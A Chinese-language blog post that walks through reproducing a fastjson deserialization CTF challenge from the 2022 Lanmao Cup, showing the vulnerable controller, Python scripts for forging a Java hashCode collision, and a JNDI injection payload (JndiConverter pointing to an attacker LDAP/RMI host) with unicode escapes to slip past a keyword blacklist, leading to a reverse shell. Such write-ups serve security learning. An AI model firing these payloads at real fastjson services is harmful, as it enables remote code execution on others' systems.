蓝帽杯2022初赛-fastjson复现

趁热打铁,直接复现一波蓝帽杯2022初赛的一道fastjson。

简简单单写了个Dockerfile和docker-compose.yml,网上能找到jar包链接,然后启动服务:

//Dockerfile
FROM openjdk:8 COPY ./src /app WORKDIR /app RUN echo flag{EddieMurphy_You_Bet!!!} > /flag CMD java -jar ezgadget.jar
//docker-compose.yml
version: "3" services: web: build: . ports: - "8097:8080"

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.util.Objects;
import java.util.regex.Pattern;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class JSONController {
    public JSONController() {
    }

    @ResponseBody
    @RequestMapping({"/"})
    public String hello() {
        return "Your key is:" + secret.getKey();
    }

    @ResponseBody
    @RequestMapping({"/json"})
    public String Unserjson(@RequestParam String str, @RequestParam String input) throws Exception {
        if (str != null && Objects.hashCode(str) == secret.getKey().hashCode() && !secret.getKey().equals(str)) {
            String pattern = ".*rmi.*|.*jndi.*|.*ldap.*|.*\\\\x.*";
            Pattern p = Pattern.compile(pattern, 2);
            boolean StrMatch = p.matcher(input).matches();
            if (StrMatch) {
                return "Hacker get out!!!";
            }

            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
            JSON.parseObject(input);
        }

        return "hello";
    }
}

查看反编译的源码,其实思路也很简单,网页会先把secretkey打印出来,如上图所示,然后是先传参进行一个hashcode的伪造,要与secretkey的hashcode相同但是str传的参不能和secretkey本身相同。

然后后续就是把rmi、jndi、ldap、\x关键字给ban掉了,意思就是不让你用hex编码绕过了,但是我们还可以使用unicode编码。

此外对于远程资源加载的Pattern.compile匹配我们可以使用换行%0a完成绕过。

然后在input里面传payload:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://vps:port/xxxxx"}";

直接反弹shell。(原题最后还用到了一个date的suid提权,但是我docker复现懒得写权限,反正能打进去就行了)

 

首先就是一个hashcode伪造,参考:Java 构建 HashCode 相同的字符串_java 中hash相同的字符-CSDN博客

由此得知:

直接上脚本:

from urllib import parse

while 1:
    key=input("#")
    print(parse.quote(chr(ord(key[0]) - 1) + chr(ord(key[1]) + 31) + key[2::]))

或者:

def test(str1):

  h = 0

  for i in range(len(str1)):
    h = 31*h+ord(str1[i])

  value = h
  result = ""

  for i in str1[::-1]:
    for j in range(31,128):
      if (value-j)%31 ==0:
        result+=chr(j)
        value = (value-j)//31
        break

    if value < 128:
      result+=chr(j)
      break

  return result[::-1]


print(test(input("key:")))

但我查看了一下其他wp,发现直接key前面加一个%00就能绕过了,呃呃....

 

bp抓包,添加Content-Type: application/json打/json路由,vps启动JNDI-Exploit,反弹shell:

//原始payload
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://vps:port/xxxxx"}";
//POST传参格式
str=xxxxxxxx&input={"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://vps:port/xxxxx"}
//unicode编码(最终payload)
str=xxxxxxxx&input={"@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter","AsText":"\u006c\u0064\u0061\u0070://vps:port/xxxxx"}

此外对于远程资源加载的Pattern.compile匹配我们可以使用换行%0a完成绕过,也就是直接在ldap前加一个%20也绕过了。

老规矩DNSlog先测:

收到回显,能出网。

这里本来我是想用ldap打的,但是我那个工具能启动ldap的JDK版本是1.7和1.8,都打不了。

但是下面有个无视版本的rmi服务,我就用这个打了,直接出:

 

预期解的爆破hashcode和打ldap服务没出,前者我用的加%00打的,感觉是脚本问题,后者是工具问题。

但是无伤大雅,能明白原理就行。

参考:蓝帽杯WP - FW_ltlly - 博客园 (cnblogs.com)

2022蓝帽杯初赛WriteUp | (mrwq.github.io)

posted @ 2024-03-11 17:31  Eddie_Murphy  阅读(48)  评论(0编辑  收藏  举报